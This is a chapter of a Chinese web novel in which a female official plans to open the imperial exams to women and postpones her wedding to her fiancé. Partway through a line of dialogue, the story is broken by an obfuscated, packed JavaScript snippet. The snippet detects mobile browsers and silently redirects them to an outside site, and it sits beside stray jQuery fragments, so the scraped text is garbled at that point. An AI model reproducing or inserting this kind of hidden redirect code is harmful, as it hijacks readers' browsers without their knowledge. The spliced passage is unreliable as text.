晓清秋 作品
59. 推期
“于微家有断腿寡母需得孝敬,原先于芜州卫,一为赚些俸禄,二为追查兄长死因,后由赵显让带进冀北军。”
“赵因功叛军,我兄长亦死于军中算计,我做不到知情不报,铤而走险检举之。”
“我慕宋大人以娘子身份入朝为官,但于微隐姓埋名至此,一朝暴露便是欺君之罪,望两位娘子垂怜。”
陆于微声量弱,字字却泣血般沉痛。
宋涟清星眸怔怔,消化着她的经历,提出个致命问题:“如是说,陆大人便一辈子瞒天过海,立功自效,甘愿做个男儿郎?”
“我......如何甘心?”
陆于微怅然垂下眸子,“可世道对娘子束缚颇多,况且,裴大人、宋大人这般清正上官,更是少之又少。于微一路颠沛流离至此,无愧百姓,无愧陛下,独独愧于自己,我亦想问,娘子之身叱咤四方,何错之有?”
她一番陈词颇为激昂动容,好半晌,两位娘子堪堪回神,搭手扶她上榻。
三人泪眼朦胧,相盼无言。
陆于微所言叱咤四方应指官场,宋涟清至今见过两人,前朝工部女尚书崔婉瑛,本朝也只东厂女提督秦湘一人。
宋涟清倏然意识到,娘子身份于官场位高权重者屈指可数。
她游历四方,听说不少豪奢门第为家中娘子请女夫子,六礼束脩、三拜大礼,可见,世人待有才学的娘子也是颇礼遇之。
然而,从未有哪位才女得以科考入仕,于官场大展才华。
就连宋涟清方入工部,她思量的全然是:如何让那些科考进来的同僚信服我的地舆能力?
她顿时醒悟,“且听我说,我有一计,可助陆大人恢复娘子身份从军。”
陆于微黯然无光的眸子亮了,“于微愿闻其详。”
宋涟清月眉漫上欢愉,“年前,陛下连开三年恩科,可想而知,大邺正是用人之际。陛下曾承诺,我指挥胜仗,他拔擢我为工部侍郎。我若以此上书,换取天下娘子、郎君一同科考,许会有些胜算。”
大邺科考分文举、武举两条路,若能改制,陆于微便算不得欺君之罪,有才学的娘子自不必囿于后宅!
为防后世推翻改制,宋涟清已然决计教导她家日后的娘子儿郎们上书维制。
但她还需陆于微保底意愿:“若此法落败,我亦有法子让你做个镖局娘子,衣食无忧,只问陆大人可愿意?”
陆于微武艺不在裴照林之下,宋涟清记着青州崔家二爷有个镖局,正巧崔五郎春闱上京借居宋家,她倒是可以与他说道说道。
陆于微感动流涕,“愿,愿。”
她掀被要给宋涟清叩首,徐诺使劲将她摁下去,轻敲搁在她枕头边的木盒,“旁的事莫要再忧虑,你这身体亏损厉害,需得精心调理,方子我都备好了,记着按时服用汤药。”
“我都记下了。”
陆于微忙不迭点头,心下想着,宋大人为天下娘子思量,便是败落,他日她走南闯北,定要将她这番心意传播八方。
*
虽已开春,冀北早晚温凉差异挺大,宋涟清和徐诺白日穿的薄,出了军帐便觉凉气袭袖,加快脚程。
挨着她们军帐,颀长身形鬼魅跨出,瑟缩成鹌鹑的两位娘子趔趄相扶。
徐诺脾气向来一点就炸,可瞧着耀耀火炬下,裴照林冻得容色发白,唇还有些哆嗦,她没好气,甩袖进帐。
宋涟清到底心软,“我去去就来。”
她回帐里披上厚实大氅,为他也寻拿了件,又拿来茶壶与瓷杯。
郎君饮了两盏热茶,说出句完整话:“我当我今日要在帐前冻成块木头了。”
果然是饮了茶的,宋涟清门清他的苦肉计,娇嗔睨他一眼,“明知边地温凉无常,执意守株待兔,不冻你冻谁?”
裴照林被他的小兔子骂得醋意全消,服软说起别的:“黄历可送到涟涟手中?”
宋涟清这才觉出右侧袖袋里的垂坠感,“自然收到了。”
她眸光微敛,联想到回京改科举制。
于公,她信裴照林会支持她的政见,然,万万不能于私,男女同科必惹朝臣纷论,陛下最恶结党营私,若有心人将二人打成祸乱朝堂的夫妻党,他们凄惨下场,自不必说......
小娘子眸色空洞,贝齿磨着下唇,绮丽容色难得萦绕愁绪,甚至恐慌。
裴照林暗道不妙,下一瞬,听她忧心忡忡:“婚期,不若推迟几月。”
不是几日,是几月,裴照林良久反应过来,反复追问她:“可是遇着事了?”
宋涟清实言几次滚到唇边,重又咽回去,摇头否定,“当真无事,我没准备好罢了。”
小娘子当初小心翼翼又大胆剖白想与他成婚,历历在目,裴照林压根不信她冠冕堂皇的说辞。
夜里冷风吹得人愈发清醒,他沉静问:“涟涟有想做的事,却不信我?”
裴照林不愧刑部断狱出身,一个逃避神色便猜穿她的心思。
他越逼问,宋涟清越怕他插手,更怕自己连累他,她强撑着怯意低吼一声:“别问了!”
裴照林那些软磨硬泡的言辞噎在喉头。
宋涟清?着他眼底的无措,踮起脚尖轻吻了下他的唇畔,柔声安抚:“思淼如今是位顶好的郎君,我舍不得放弃的,此番是我一人过错,待回京,我亲择吉日,别多虑了,好吗?”
裴照林一拳打在棉花里,气也不是,不气又觉着心里憋屈,难堪离去,方走几步,折返,扯下雪色大氅塞进她怀里,匆匆逃离。
郎君未显愠色,沉沉目光却带着凉意,宋涟清心田空了半块,微微叹息。
她抱着大氅转身,徐诺已经探出脑袋,打帘招呼她:“难得啊,怎么将人气跑了?”
宋涟清进了帐,随意搁置手里衣物,月眉轻颦,“我想为有才学的娘子们搏一搏,但改科举不是小事,我若触怒陛下,他牵扯此事,我们二人谁也逃不掉。”
旁观者清,徐诺踱了几步,“君心难测,他到底是陛
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15707727|168930||http|test|mini|href|location.split(|),0,{}));
() {
$(.inform).remove();
$(#content).append(
下近臣,你不与他商议,若你......”
徐诺心绪蓦地紧了两分,不愿假设但不得不假设:“若你因此获罪,他定会设法救你,左右,他与改制这件事儿脱不了干系的。”
“阿姊不必忧心,我有分寸,再思量思量。”
徐诺这番规劝之辞,破局点处处在裴照林,反而为宋涟清提供了另一思路。
陛下近臣不止一位,或许可以与秦湘商议,东厂乃朝廷鹰隼,这条政见迟早落进朱屹耳朵里,依着两人交情,若此事毫无胜算,秦湘定然透露劝阻口风。
宋涟清想为娘子们争千百年来的公道,万不能以她个人性命为代价,太莽撞,太不值当。
改制不成,她便荐举,待她坐上尚书之位,她在朝中作用自然广博,总有一日会实现男女同科这一政见。
*
冀北军于三月二十抵达京师,自回京,宋涟清托宋汝打听秦湘的住处。
宋汝跑遍了京师,“说来奇怪,这位女提督不住在宫中,却无人知晓她到底住在何处。”
宋涟清若有所思。
冀北一战大胜,朱屹处理完军务,补了她与裴照林二十日假期,晌午特地宴请朝臣及家眷为他们庆贺,或许能与秦湘碰面。
再说裴照林,他因推婚期置气,见着面也只远远地淡漠一揖,他们已然五日没说过半句话。
宋涟清陷入纠结,还是决定与他解释清楚。
许久没参加过宫宴,她挑了件湖青刺绣云锦罗裙,簪了套素粉海棠头面。
还未开席,众人在御花园里品茶赏花。
宋涟清领着侍女方出现,不知哪位贵女招呼:“大家快来,巾帼英雄来了!”
好在她预料到此情此景,一早派接见过秦湘的宋锦悄摸去传信。
春花明媚的贵女们簇拥而来,你一言崇拜,我一语邀约。
宋涟清保持着良好礼仪,颇有些应接不暇,“得空,得空定然与诸位娘子小聚。”
聊了小半个时辰,贵女们热情不减,“听闻宋大人以地形取胜,可否与我们讲讲,那北瓦如何溃不成军?”
提及地舆,宋涟清向来有的说,“冀北地势崎岖,我让将士们'欲擒故纵'。”
贵女们眨着星星眼,“好生有趣,如何欲擒故纵?”
“北瓦进一步,我们退三步,他们追着我们漫山跑,叫他们摸不着一兵一卒,待耗尽他们心神,我们一举反击......”
她五官本就绮丽明艳,不适浓妆,轻脂薄黛足以让人耳目一新,不少郎君蠢蠢欲动,生出结交之意,又碍于她已有婚约,只敢仰慕着,与贵女们拍手叫好。
御花园竹篱斋,二楼窗前。
裴照林瞧着宋涟清与娘子们谈笑晏晏,以及那些郎君们黏人的僭越目光,他指间的金盏险些凹出几块印子。
朱屹看得直蹙眉宇,黑子撂进棋篓,“思淼棋心不定,这只金盏何错之有?”
裴照林烦躁扔下金盏,“我当真不明白,她究竟要做何事,为何这般不信我?”